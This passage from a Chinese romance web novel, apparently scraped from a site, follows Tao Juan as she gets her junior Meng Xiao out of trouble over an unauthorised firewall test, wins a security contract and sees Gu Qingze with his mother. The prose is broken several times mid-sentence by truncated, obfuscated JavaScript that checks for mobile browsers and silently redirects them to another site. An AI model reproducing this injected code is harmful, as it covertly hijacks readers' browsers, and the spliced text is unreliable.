l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373659|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涓说的,“你要真担心,我可以把取下的蜱虫放在样本瓶里,你们带回北市到三甲医院做个检测,彻底确认一下到底是不是携带病原体,就能放心了。” 陶涓立刻说好,医生把取下的蜱虫放在一个小瓶子里用封袋装好,她珍而重之放进包内袋里,拉上拉链。 顾清泽看得不知说什么才好。 陶涓一向最怕这些东西,小老鼠,小壁虎,蜘蛛,各种小甲虫…… 有次一只七星瓢虫落在她本子上,她龇牙咧嘴半天才鼓足了勇气端起本子走到自习室后排的垃圾桶旁,把那页演算到一半的纸小心翼翼撕下来,飞快扔进垃圾桶,再飞快逃离。 现在竟然在她包里装了一只蜱虫的尸体。 还打算把它带回北市。 大家在镇子上找了家饭店吃晚饭,郑纶也找到一家干净的小民宿。 顾清泽的房间在陶涓隔壁,两间房格局布置一样。 陶涓放下自己的包,又去敲他的房门,“台灯……” “我放好了。”他闪身让她进来,民宿的台灯不能调光,被他放在桌子下,就没那么亮了。 她放下心,这就好。 刚安顿好,民宿老板拎着热水瓶进来,“镇上条件有限,有时候晚上会断电,要是夜里想喝热水,这儿有,哦,桌子抽屉里有手电筒,手机要充电的话,现在充吧。” 陶涓一听有可能停电,不免担心。 万一停电的时候顾清泽刚好醒了……会不会引起惊恐发作? 她问老板,“镇上有超市吗?” 超市就在附近,和民宿隔着两栋房子,可是应急灯刚好卖完了。 她退而求其次,买到一盏玩具灯笼,用四节3A电池供能,光线柔和,造型耐人寻味,是个黄色的小动物,圆圆的脑袋,有两个红脸蛋,有点像是……皮卡丘? 顾清泽正站在院子里等她,“你去哪儿了?” “去了趟超市,给大家买点水果零食。”陶涓把灯笼递给他,顾清泽一愣,笑了,“可达鸭?”再看一眼,“皮卡丘?” “可能是它们俩的孩子吧。”陶涓也笑,跟顾清泽坐在院子里研究灯笼,按到某个按钮,触发了隐藏功能,混血小动物大声唱起歌,“你爱我,我爱你……” 顾清泽手忙脚乱关掉音乐,这时已经快十点了,民宿只有他们几个客人,老板一家、小吴郑纶好像都已经休息了。 陶涓咬着唇忍笑,“血统挺复杂。” 顾清泽也笑了,“谢谢你的礼物。很特别。” 有一瞬间,陶涓怀疑自己是不是打开了什么滤镜,顾清泽像被舞台光加持,俊美得让她心脏砰砰乱跳,她疑惑地抬起头,正见到一轮明月破云而出,将清辉投在他们身上。 院子里静得能听到墙角不知名昆虫的叫声,可能是蟋蟀,可能是别的什么虫,更远的地方,有人手机里播放着视频或是音乐。 顾清泽看了看那轮皎洁的明月,目光又移到陶涓身上,忽然脱口而出,“今晚的月色真美。” 47.理智与情感 今晚的月色很美。 这句话可以理解为单纯评价景物。就如英国人见面总要谈谈天气。 但在东方,也可以理解为含蓄隐晦的表白。 陶涓很难判断顾清泽说出这句话时是哪种意思。 他在英国上寄宿学校,而且,即使在国内长大的,也并不是每个人都听说过夏目漱石。 曹艺萱就不知道。 她听陶涓讲完这次草原之行,很是疑惑,“月色真美?” 然后捶地毯,“你们两个——唉,我真是受够了!”她抓起茶几上的啤酒猛灌几口,抓住陶涓肩膀摇晃,“你们两个——拥有这么年轻美丽的肉身,正当盛年,为什么好像荷尔蒙开关卡死了?你们当时就应该这样——”她抱住陶涓脑袋,“四目相对,然后——叭叭叭一顿猛亲!懂么?” 陶涓笑着推开她,“我没觉得这样有什么不好。你就让我按我的节奏走吧。” 曹艺萱连连叹气,“好吧好吧!你们这样也挺好。我现在怀疑我是不是每次恋爱都太冲动了。” 从天市试镜回来,她和“男主角”的恋情快速冷却。 这让她开始反思,是不是应该尽量了解一个人之后再决定是否投入? 陶涓回到北市隔天晚上,曹艺萱约她来家里看《理智与情感》。 这部片子两人都看过很多遍,原著也读过很多次,可每次看都有新的感受。 看到玛丽安在雨中眺望,痛苦地轻声念叨“威洛比啊,威洛比……”陶涓手机突然响个不停。 曹艺萱哼哼,“是不是顾清泽?不是他送你过来的吗?这才多大一会儿又想你了?背高中学的古诗词谁不会呀,此情此景,恰似才下眉头,却上心头……” 陶涓笑着推她一把,拿起手机一看,神情严肃起来,“我去书房接个电话。” 来电的人显然不是顾清泽。 曹艺萱没心再看电影,暂停后等了一会儿陶涓回来了,神色更加严肃。 “发生什么事了?” 陶涓心事重重,“唉,又得麻烦李律师。” 什么事? 孟霄出事了。 他撂挑子去接的另一份活儿出了大问题。之前他给陶涓介绍零活儿时,她就提醒过他,没有委托书就为某公司做“防火墙测试”,怎么知道委托者真的是这个公司的负责人,亦或是这公司的“敌人”? 夜路走多终遇鬼。 这次孟霄攻击防火墙后对方立刻防守,但他还是成功找出漏洞,不过,陶涓的话也让他长了点心眼,从那次开始,他发现防火墙漏洞后先不通知中介,拖着说要做报告,一边等尾款,一边也看看风头。 结果,今天傍晚六点多,前脚尾款刚收到,后脚警务人员就上门了。 现在他人在派出所,求陶涓来保释他。 曹艺萱开车送陶涓去派出所,她联系了李律师,人家一听直接介绍了另一位姓邱的师弟,“他是刑事律师,这种案件他比较熟。” 到了派出所没多久,邱律师也来了,跟民警了解基本情况后有数了,跟陶涓她们解释,“这家公司报案的时候并没说造成了什么具体的损失,只是防火墙被攻破,造成系统暂时瘫痪,那么咱们还是有希望争取谅解的。但是——” 陶涓叫苦,唉,就怕“但是”。 “要是人家想杀鸡儆猴,说孟霄的行为造成10台以上计算机不能正常运行,或者,说因为系统瘫痪,后续的维修造、影响公司的业务等等,造成5 万元以上经济损失,他就可能构成破坏计算机信息系统罪……” 曹艺萱急忙问,“那要判几年?” “五年以下。”邱律师顿一顿,“人家公司说是目前还在统计损失,如果超过25万元以上损失,就是五年以上十年以下了。” 两人倒吸一口凉气。 邱律师安慰她们,“不过,他是接受委托,没有主观恶意,最重要的是还没有把‘测试报告’交给委托人,只要能获得人家的谅解,还是有希望的。” 等陶涓见到孟霄,这孩子在派出所待了不过一天时间,憔悴得像在街头流浪了一周,还没说话眼圈就红了,一开口先哇哇哭,悔不当初,没听师姐的话,哽咽着求她,“我爸妈都是普通农民,我不能让他们知道我出事……我、我不能去坐牢呀——” 陶涓安慰他,“别急,别吓自己。案子还没到检察院呢,先想办法跟人家和解。他们也不会抓住你这个小虾米不放,还是想揪出来幕后黑手。” 孟霄哭得更惨了,他倒是想配合,可就像当初陶涓担心的那样,中介直接人间蒸发,问了几个从前一起打过工的,大家也都很懵,胆小点的也直接蒸发了,胆大点的几个一商量,直接拎着电脑去离家最近的派出所报案,说自己被骗了,有可能被动参与了网络攻击,只要能不坐牢,认罚认赔。 陶涓跟着民警走完程序,已经夜里两点多了,孟霄又哭丧着脸跟邱律师讲了一遍他的经历,还有他交待的笔录都写了什么。 曹艺萱担心陶涓身体扛不住,跑去24小时便利店买了点热的食物饮料,刚提到派出所门口,碰见神色匆匆的顾清泽,“哎?你怎么来了?” 顾清泽脸上带点愠怒,“你怎么不通知我?” 曹艺萱鼓了鼓腮帮子,没出声。 一见到陶涓,这男人脸色可不一样了,又是担心又是心疼,恨不得绕着陶涓从脑袋毛到鞋底扒拉一遍看看她有没有哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377642|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舒服,偶尔瞥孟霄一眼,眼里更像有刀子,对邱律师又恢复精英人设。 曹艺萱给闺蜜递上温热的牛奶,心里暗道:没想到顾清泽还是个忠犬。 嗯。还是个大型护卫犬。嗯……是杜宾犬吧? 陶涓看到曹艺萱脸上露出怪异笑容,以为她太累了,“你先回去睡吧,明天下午不是还要去试戏?” 曹艺萱又看看杜宾犬,放下心,“行,那我先回去。找机会咱们再看完电影吧。”她把那兜食物也递给杜宾犬,“有手撕面包和酸奶。” 顾清泽接过,“谢谢你。” 曹艺萱冷哼,“那我也谢谢你送陶涓回家。” 陶涓不明白这俩人怎么突然就别上苗头了,又和孟霄邱律师说了两句话,跟顾清泽坐车回家。 车子行驶了一会儿,她才问,“是不是所有人都知道了?” “嗯。”顾清泽握着方向盘,“至少咱们上个项目群里的人都知道了。” 消息传得很快。 他原本已经要睡了,连发了几条微信陶涓没回,以为她和曹艺萱已经睡了,随手又拨一下屏幕,看到那个群消息突然暴增,打开一看,好嘛,两小时前爆出的大消息,有人担心孟霄会乱咬人,还问罗莹,“你跟他从前是同事,他这人怎么样?” 罗莹哪敢保证什么啊。 群里兵荒马乱,有人传来另一个群的截图,“咱们群的要不要去派出所报备一下?他也参加咱们项目了。” 顾清泽赶快跳出来安抚众人:“不用不用。没咱们的事,大家早点休息。” 然后打陶涓电话没接通,立即猜到这事又摊她身上了。他赶快问了几个更了解事情的人孟霄在哪个派出所,立刻赶来。 陶涓心累,“真是怕什么来什么。这要怎么求人家谅解?”被攻击的公司是一家叫鹍鹏的私募基金,业内赫赫有名,人家能缺钱吗? “这种公司也不想让他们的客户知道自己的防火墙被成功渗透过。”顾清泽很镇定,在门口跟陶涓道别时说,“我来想办法。看不看能不能和鹍鹏的老板见一面,先谈一谈。” 陶涓无精打采点点头。 顾清泽忽然很想摸摸她头顶,门前的灯光投在她身上,像层金色的薄纱,她的头发变成茶褐色,闪着柔顺的光泽,她睫毛半垂,疲倦得眼睛都快要睁不开了,像朵瞌睡的百合,倒垂着花朵。 他右手都要举起来了,又握成拳放在口袋里,“你好好休息,什么都别想。” 她又点点头。 他握紧左拳。 回到家,顾清泽靠在门上,缓缓呼了几口气,骂自己真是无耻,不过说了句要帮忙,还没帮呐,竟然想对她动手动脚了!可恶。 48.调停 第二天傍晚,顾清泽人托人,总算和鹍鹏的赵总搭上线,人家同意见一面。 邱律师一听大喜过望,急忙带上孟霄赶去当面道歉。 赵总也不想为难孟霄,“只是,出了事我连是谁干的都不知道,让我怎么跟合伙人们交代?” 陶涓来之前已经想过,“如果您同意,我们可以试试钓鱼。” 赵总抬抬眉毛,“哦?怎么钓?” “不管是谁委托的,目的是伤害鹍鹏的利益,也许不止雇了孟霄,还有别的黑客,他们一定会再出手,而且会尽快出手——”陶涓看到赵总做个手势,暂停,“您想问什么?” “现在黑客圈里都知道这件事了,也知道我们报警了,怎么还会有人尽快出手?”赵总不理解,“难道不该先避避风头再出手吗?”她觉得陶涓的推测是反直觉的。 陶涓解释,“有人想炸毁一座堤坝,现在这座堤坝已经确认有缺口,那么,是在缺口被补上之前动手,还是之后?” 赵总明白了。她脸色一沉,叫助手,“通知IT部门,全部回来加班。” “赵总,如果鹍鹏同意,我们——”陶涓看一眼孟霄,“我们会帮忙维护防火墙,保留现在的漏洞,但其实做一个trap,一个陷阱,一旦真正的攻击开始,可以反向定位黑客的位置。” 孟霄跟着猛点头。 赵总看起来有些动容,“陶小姐,你的意思是……” 陶涓坦然告诉她,“以我的经验来看,鹍鹏的IT其实做的已经相当不错了,不过,我也找出了防火墙的漏洞。而我并没问孟霄。还有,反制陷阱程序我也做好了。” 赵总脸色更加深沉。 陶涓察言观色,趁热打铁道,“如果鹍鹏同意,我们可以在今后三年每年做一次免费的防火墙测试,作为这次误会的补偿。您看……” 私募基金在网络安全防护上有一套通用的行业标准,实际上大家各出奇招,策反黑客早已不是新鲜事。 赵总同意了。 她接受了陶涓制作的陷阱程序,但暂时没有让公司法务出具谅解书,直白地告诉孟霄,现在你就祈祷吧,祈祷真有黑客再攻击鹍鹏,那你就能戴罪立功了。 邱律师百般感谢。 孟霄感激涕零。 赵总一行人走了,他问陶涓,“师姐,你觉得黑客什么时候再攻击鹍鹏呀?我们——我们赶快做点准备呀!” 陶涓没好气,“我哪儿知道啊!也许今天晚上,也许明年你在看守所过周年的时候。” “啊?”孟霄呆掉,又哭丧起脸。 陶涓见他当真了,只得压住气说,“唉,逗你的。如果一直没再攻击,我们还是可以给人家做防火墙维护的,对不对?你别胡思乱想了,回去等消息吧。” 顾清泽早在心里把这个让陶涓劳心劳力的家伙打了一百遍了,这混蛋连声谢谢都没想起来跟她说,是谁刚才一直低声下气赔笑脸求人饶他一命的?他只知道谢邱律师,似乎觉得陶涓为他忙前忙后是应该的。 不过,他立刻又反思,自己刚入学那会儿,是不是也这个吊德性? 邱律师可比孟霄会看人脸色,忙代他告辞,出了套房,在电梯里才提点他这个傻乎乎的当事人,“你知道你欠了你师姐多大人情吗?别说赵总这种掌门人级别的了,鹍鹏随便一个部门主管,我想见一见都难预约上!就算约上,恐怕也排到几个月后了!就算能见上面,人家能不能耐着性子听我说完话?我们律师去求谅解书,最怕遇到的就是这种大公司,受害者要是自然人倒容易得多。” 孟霄这才懵懵懂懂的,“哎呀,是哦。” 邱律师暗自摇头,有的人就是这样,智商虽高,但丝毫不通人情世故。 这天晚上十点多,陶涓接到了赵总的电话,黑客果然再次攻击了,陷阱成功反向追踪。 她替孟霄松了口气。 几天后,赵总请陶涓到鹍鹏,想请她做一次全面的IT安保检测,至于之前说的免费做三年防火墙测试,鹍鹏从不缺钱,更不可能让顾清泽的朋友免费为他们服务。 赵总给陶涓的是一份五年的安保维护合同。 看到鹍鹏的报价,陶涓有一秒钟确实十分激动,但她很快冷静下来,“不瞒您说,我的工作室今年初才开张,固定员工目前就我一个,一共才接过两三个项目。” “可你接手的几个项目都是不得了的项目,还有你之前在方舟做的那些——我也问过一些人,他们都说你是业内翘楚……只是被方舟的高层内斗耽误了。”赵总显然也做了功课。 “陶小姐,你不用着急做决定,回去再考虑考虑。” 陶涓离开鹍鹏,先给罗莹打电话,三两句解释了情况,“现在我能拿一个五年的大订单,你愿不愿意跳槽过来?” “啊?”罗莹惊得像是下巴都掉地上了,连呼几口气,“你让我缓缓!缓缓——卧槽,缓个毛线啊!我当然愿意啊!我这就去——去辞职!” “好。我现在联系大刘。” 大刘有些犹豫,但当天晚上七点,他告诉陶涓,“我也来!” “太好了!” “他们都答应了?”顾清泽一点都不意外。 “嗯。”陶涓傻笑了一声,接过他递来的香槟,浅啜一口,“我还是觉得不像真的。” “怎么会不像真的?” 她只微笑着摇摇头。 她忽然得到太多,太美好,太快,有种不踏实感。 稍晚一点,她告诉曹艺萱这个大消息,曹艺萱尖叫:“嗷嗷嗷!这个必须要开香槟庆祝了!我上次送你那瓶克鲁格呢?拿出来拿出来!” 高兴完了,陶涓发愁,她得租个像样的地方,总不能叫大刘罗莹也来她家工作。何况,以后再招揽客户,总得有个正经接待的地方吧? 隔天她去太平开小组会,会后孙淳请她,“章先生有事跟您商量。” 章秀钟已经知道消息了。找赵总的关系他也出了些力。 “要不要在太平大厦租间办公室?”他永远看着没正形,笑嘻嘻说,“我是业主,租金给你打点亲情折扣,怎么样?” 陶涓认真问他,“一平方多少钱?” 太平大厦在北市CBD黄金圈,租金当然不便宜。 可陶涓也懂背靠大树好乘凉的道理。 以后拉客户,看到她工作室地址也会得到暗示:不容轻视。 只不过,算算租金、管理费、装修费,还有罗莹大刘两人的工资,就算有鹍鹏这单生意,第一年不亏本已经很好。 回家时顾清泽邀她搭顺风车,他也帮她算账,再次建议,把方舟的客户抢过来。 “美容医院的模拟应用升级之后,安真医院没动静吗?我听说他们院长联合了另外几个方舟的用户,准备集体诉讼。打官司期间他们也要用AI模拟呀,你可以再去见见雷主任和几个院长,先做个顾问,提供记次数的服务,然后再想办法把他们挖过来!” 陶涓若有所思,“可这样,方舟不会放过我吧?” 顾清泽哈哈冷笑一声,“你不抢,他们也不会放过你。” 陶涓骇然:“啊?” 顾清泽侧首对她一笑,“欢迎来到资本的世界。” 陶涓呆了一下,心脏狂跳!——不带这样的!顾清泽你明明是甜甜纯良小少爷人设,为什么突然间这么魅惑啊?又甜又邪。 不过,顾清泽的话她倒是听进去了。 她回家后联系大刘和罗莹,让他们各自列一份潜在客户名单,跟她的比对。上次住院期间她就开始琢磨了,不过那时候还是意淫居多,幻想自己大逆袭,拿着反派剧本气势汹汹杀到方舟大楼,对黄霸天和他的狗腿子们冷笑,“这地方我接收了!” 对比名单后三个人又讨论一番,确定了第一批潜在客户。 排第一的当然还是安真医院。 陶涓打算通过申悦明,先探探医院口风,等办公室装修好了,鸟枪换炮,咱有实力了啊,再去见见雷主任和院领导,如果人家能赏脸来参观就更好了。她还得做几个像样的宣传册…… 陶涓越想越兴奋,过了11点还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382031|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡,忽然手机震动一下,是顾清泽发来微信。 她一看,笑了。 他发了个目光坚定蹲守在电线杆下的小猫咪动图,配的文字是:鸟要一只一只抓,饭要一口一口吃。 她回复:知道啦!这就睡。 回一个拉被子睡觉的小猫表情包。 第二天她早早就步行到太平,没等顾清泽搭他的顺风车,先去五楼看空出来的那间办公室。 那从前是家做广告设计的公司,她租不了那么大,只要了一小角,也有近六十平米,隔出三个小办公室后还能有一块公共区域。装修嘛,实用为主,能利用原有的就不做改动。 哪怕这样,在网上找了几个装修公司,用人家网站的估算程序一算,价钱也惊人。 回到她的办公室,刚打开电脑没多久,章秀钟敲敲门边,“跟你商量个正事。” 陶涓心想,我还跟你商量过“不正事”? 他直截了当,问她需不需要注资。 太平可以以投资人身份向她的工作室注资,每年按股分红或者固定切走一块利润。 拿到太平的注资不仅可以解燃眉之急,而且,如果谈得拢,可以每年拿一笔钱,这下是真正的背靠大树好乘凉,但陶涓清楚,拿了人家的钱,怎么可能没有条件。 章秀钟也知道她肯定会有犹豫,“注资当然是有条件的。不过,所有条件都可以谈。你怎么拿钱,拿多少,我们怎么分利润,分多少,有哪些商业合作要优先太平,有哪些合作是具有排它性的,你只能为太平做不能为别的客户做——全都可以商量。你已经为太平服务过半年了,我们信誉如何,有没有按时给钱,分红的时候是不是按合同给,这些你也知道。” “我会好好考虑的。” 送走章秀钟,陶涓对着窗外的景色发了会儿呆。才7点多,城市已经彻底醒来,车水马龙,喧嚣无声。 她给顾清泽发微信:突然发现自己一点也不懂商业运作。 他很快回复:你已经到太平了? 她:嗯。睡不着,天气也很好,就从公园走过来了。 他:去看新办公室?还算了装修钱? 她发了个小猫抹泪的表情包。 他立刻回了个摸猫头的表情包。 陶涓轻轻笑了一声。 Rosy恰巧端着咖啡杯经过,跟她打招呼,“你今天这么早?吃早餐了吗?” 两人闲聊几句,陶涓再看手机,顾清泽回复她:你可以问问李律师,有没有可靠的商业律师介绍给你。 刚进入陌生的行业时,最好是请个可靠的专业人士指点。 陶涓和李律师聊过才知道,律师这行也有很多细分,商业律师帮人起草商业合同,服务对象主要是企业、商业组织或者有大型商业活动的个人。 李律师推荐了一位夏律师,说夏律师很多客户是类似的个人工作室或小微企业,不过,她的客户基本都和大型商业机构有合作。和陶涓现在的情况很相似。 夏律师今天刚好有个空档,和陶涓约在傍晚见面,地点是离陶涓的公寓不远的一家咖啡店。 听陶涓介绍了工作室的基本情况后,夏律师建议,“如果你想要找投资人,还有很多方法,你其中一个客户,鹍鹏,他们就有这样的业务,客户的钱交给他们管理,他们先收一份管理费,再寻找有潜力的新企业、工作室注资,再从投资回报里切一块。” 这不就是两头赚吗? 陶涓又有疑问:“那为什么不直接找银行申请贷款呢?” “当然是因为私募投资的商业合同更灵活,而且有些生意,银行不一定会愿意借钱给它。” 陶涓恍然大悟,她提醒自己,得赶快恶补这方面的知识,不然就只能人家说什么她听什么……哎?那边的人是顾清泽? 确实是顾清泽! 他刚从门外进来,衬衫领口敞开,外套搭在臂弯上,行动间倜傥风流。 陶涓站起来,刚想对他招手,却见他朝厅堂另一边走去,在一位女士面前停下,然后和她拥抱。 49.他的另一面 那是谁? 陶涓望着和顾清泽拥抱的女士,心跳剧烈。 她一瞬不瞬盯着他们,当顾清泽坐下,终于看清了那女士的相貌,提起的小心脏瞬间归位。 那应该是他的妈妈。 在章秀钟办公室里见过的婚礼合影上有她。 她笑话自己,在疑心什么啊? “遇到熟人了?”夏律师笑着问。 陶涓低头笑笑,“是。没关系,我们继续谈。待会儿我再去打个招呼。” 夏律师继续讲了讲几种不同找到资金的方式,各有利弊,像章秀钟提出的太平成为投资人注资,有很多好处,可是,也许在未来会限制她的发展,很简单的道理,成为太平的盟友,就要同时接受太平的敌人。 夏律师最后跟陶涓说,“先和你的几个伙伴好好讨论一下,如果我们合作,我会根据你的资产信息和发展计划再提意见。”她已经从李律师那得知陶涓对商业运作不太了解,还贴心地打印了一份几种融资方式的资料送上。 夏律师走后,陶涓又要了杯红茶,看看资料,再看一眼顾清泽。 她这时忽然感到奇怪,为什么他完全没提他妈妈会来北市? 他们母子的举动也有些奇怪。 显然并不亲密。 顾清泽的腿在椅子下收着,后背又向后靠在椅背上,像是在尽量拉开和他妈妈的距离。 而章鹤龄女士的肢体语言也类似。 母子间好像很久才交谈一两句,彼此看起来都心事重重。 陶涓无意再窥探,收好资料离开。 走近门口时,顾清泽看到了她,惊讶叫道:“陶涓?” 她本想悄悄溜走,这下只得装作才看到他,慢慢走过去,“啊,你也在这儿啊。” 顾清泽脸上神情复杂,像是后悔自己怎么出声叫她,他愣愣地看着她几秒钟,眉心拧着,不知道是在思考她怎么会在这儿,还是在思考该怎么跟母亲介绍她。 “清泽,这是你的朋友吗?”章鹤龄侧首打量陶涓,面带微笑,没有贵妇人的盛气凌人,但也相当矜持。 顾清泽回过神,跟母亲介绍,“这是陶涓。我在北市念书时的学姐……”他稍一停顿,说道,“她是秀钟的朋友,现在也和太平合作。是位算法设计师。” 章鹤龄亲切地对陶涓微笑,“陶小姐你好,我是清泽的母亲。” 陶涓也微笑同她问好。 然后,她说:“我刚才约了律师在这儿谈点事情,先回公司了。” 出了咖啡店,已是华灯初上,天色沉沉,好像要下雨,走到某座大厦楼下,忽然一阵狂风,吹得陶涓七荤八素,不知是粒小灰尘还是什么迷了眼睛,她躲在避风处眨巴半天眼皮,才觉得自己头皮麻麻的。 ——她是章秀钟的朋友?! 陶涓一脑子问号脸。 顾清泽怎么了? 眼睛终于舒服了,她才看到自己面前这大厦是某商场,干脆走进去找东西吃。 商场B1有一家回转寿司,她坐下后给曹艺萱打电话,“干嘛呢?” 曹艺萱打了几个呵欠,“美容院按头拨筋呢,刚睡了个美容觉。你在哪儿呢?怎么了?” 陶涓报了地址,“你快来!”她简略说了下刚才发生的事,“太奇怪了,是不是?” “你等着,我马上来!” 曹艺萱常去的那家美容院和这座商场隔着几条街,不过,她不到半小时就赶到了。 这时陶涓正就着玄米茶剥毛豆吃。 曹艺萱坐下,先吃个萝卜卷垫垫肚子,让陶涓细细讲了一遍遇到顾清泽母子的经过,又拿了一份金枪鱼慢慢吃了,喝了口茶才说,“你先听听我作为旁观者的想法啊,首先他妈妈可能是突然来的,他事先也不知道;其次,他们母子关系可能并不很亲密,不然为什么不在自己家见面呢?当然了,之前他一直更喜欢住酒店,没准这习惯就是从他妈妈那儿学来的,有钱人嘛,怪癖多很正常,哦还有,他小时候去英国寄宿学校,妈妈是章家的小姐,可能也是这么长大的,母子之间不那么亲密也很正常……呃——” 上面那些都瞎扯,现在才说到重点,“他为什么撇清和你的关系,连说你是他的朋友都不敢,我猜,应该是大家族勾心斗角的结果……他暂时没法跟你解释,又不想把你牵扯上——” 曹艺萱说完,心虚地又喝口茶。 陶涓一手托着下巴侧脸看她,“你今天也表现得很奇怪。” “我哪儿奇怪了?” “还首先其次呢……”陶涓嗤笑,“你就按你往常那思路推测!” 曹艺萱绷紧嘴唇。 她往常那思路? 来的路上狂飙出来好多个狗血短剧情节啦! 顾清泽其实家里已经有未婚妻了! 他妈这次来就是追逼婚期! 或者,没有未婚妻,他家急着要安排商业联姻,要他回去相亲、求婚、办婚礼走这套流程! “这个负心汉!装得像杜宾犬,其实是个泰迪!”曹艺萱拼命往那些一听就觉得夸张到搞笑的思路上靠,连带明损暗贬顾清泽,哥们儿之前表现是不错,也挺扛事儿,但是今天这事吧,真没法替他说好话。 陶涓又闷闷地剥了几个毛豆,她吃不下了,都推给曹艺萱,曹艺萱拒绝,“我们女明星怎么能吃这种东西!这玩意吃了会放臭屁你忘了?” “啧。”陶涓骂了句脏话。她忘了。而且吃了不少。 两人埋单离开,又在商场漫无目的逛。 “你打算怎么办?待会儿质问他吗?” 陶涓摇摇头,“敌不动,我不动。” 其实她真正不开心的是,突然间发现顾清泽的生活有另一面。 不是私人飞机、豪华套房、游艇派对的那一面,而是,更为复杂的,幽暗的,他不敢对她解释,也很少跟她提及的那一面。 她现在才想到,她跟顾清泽说过自己爸爸早逝,妈妈再婚的事,说过自己的大舅、舅妈和表姐,说过自己上的高中,还有滨市冬季的雪,冰封的河流和摩天轮…… 但是顾清泽很少主动说起他的家人,他的家,他上的学校,他童年的宠物。 他固然不喜欢说,可她,是不是也有点太不关心他了? 她是不是有点自我为中心? 曹艺萱回家前问陶涓,“你觉得两人谈恋爱,怎么样才叫修成正果?结婚?生孩子?还是过一辈子?” 陶涓一直摇头,“以前我和周测在一起的时候,我以为我们肯定会结婚生子,共度余生。这样才叫圆满。跟他分手后,我有好长一段时间难过,不是因为失去了他这个恋人,而是因为没能完成这些目标。”她突然扑哧一笑,“现在想想,好傻呀!是谁规定的呀?” 最后,她下结论:“根本就没有修成正果这么回事。我问你,最大的数是多少?” 曹艺萱一怔,一下就明白了。她笑了,“是这么回事。” 心心相印是圆满,一期一会也是。 曹艺萱又想了想,“我们这种想法会不会太悲观?” “怎么会?明明是极度的革命浪漫主义好嘛!”陶涓拍拍闺蜜肩膀,“你和‘男主角’的恋情,也是一种圆满。” 曹艺萱双手合十,“感谢上苍,赐我这段经历,让我丰富了我的人生。这样吗?” 陶涓大笑。 人总是会口是心非。 回到家,陶涓先走到顾清泽家门口看了看,他应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384826|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该还没回来。 她在自己家客厅待到很晚,一直在听走廊的动静,他一直没回来。 等到快11点,她赌气回房间,却忽然收到他的微信,说今晚住在半岛酒店了。明天一早要再去一次昆士兰。 陶涓气哼哼地看着手机,打了一行字,又删掉,犹豫半天,发了个穿皇袍的小比格表情包:朕知道了。 顾清泽在手机里找了很久,始终找不到一个合适的表情去回复。 他闷闷翻了个身,盯着墙角的灯,缓缓闭上眼睛。 母亲突然来北市,说是和乐团老友有独奏音乐会,她来捧场。 可是,今天见面,两人寒暄了几句,她又提起沈家小女儿,“你们上次见面不是谈得还挺开心吗?沈家伯母是想……” 想什么? 不就是要让女儿嫁给他? 他想起沈博容的姐姐沈博宇。 博宇喜欢他。他知道。 可他没法回应她。因为遇见她之前,他遇到了陶涓。 因为知道博宇的喜欢是出自真心,他会觉得和她同病相怜。 有一次,忘了是个什么场合,好像是谁的婚礼?只记得大家都穿得衣冠楚楚。 喝酒的时候博宇问他,“你相信有soulmate吗?” 他脑海里立即浮现陶涓的样子。 博宇当即如遭雷击。她勉强微笑,可是眼泪在眼圈里打转,他只能对她说:“对不起。” 她嘴唇都在打颤,抹着泪,还努力想维持笑容,“干嘛道歉,你又没做错什么。”然后又忍着泪笑道,“我这样子,一定很狼狈吧?” 他很感激,她没追问他心里那人是谁,同时也想,他喜欢陶涓的样子,是不是也很狼狈? 后来博宇就去山村支教了。 那阵子沈伯母见到他,眼神是很有几分怨怼的。 怎么想得到啊,如今又要把小女儿博容推给他。 他看一眼母亲,“可我这阵子正忙,不知什么时候又去昆士兰,四叔留下的烂摊子比之前想的还要大,爸没跟你提过吗?” 母亲脸色微微一变,“听说你四叔得了肝病,现在要争取保外就医?” 顾清泽只是笑,“恐怕办不到。之前他居家监视时不是想跑路吗?有了前科,怎么可能保外就医?再跑了怎么办?他的案子几乎已经敲定了最后一颗棺材钉,至少十年,也许终身监禁,现在能争取的是好一点的监狱。” 章鹤龄又问,“他的病会传染吗?要是会传染,应该也要送到特别的地方吧?” 顾清泽故意不答,“那我就不清楚了。” 章鹤龄轻轻“哼”一声,“你和你爸爸,有时候真像一个模子里出来的。你会不清楚?他的案子现在全是你的人在做,你会不清楚?” “他的病传染,还是不传染,都碰不到你,对不对?”顾清泽反问,他一边说,一边看着母亲笑,“你这么紧张做什么?” 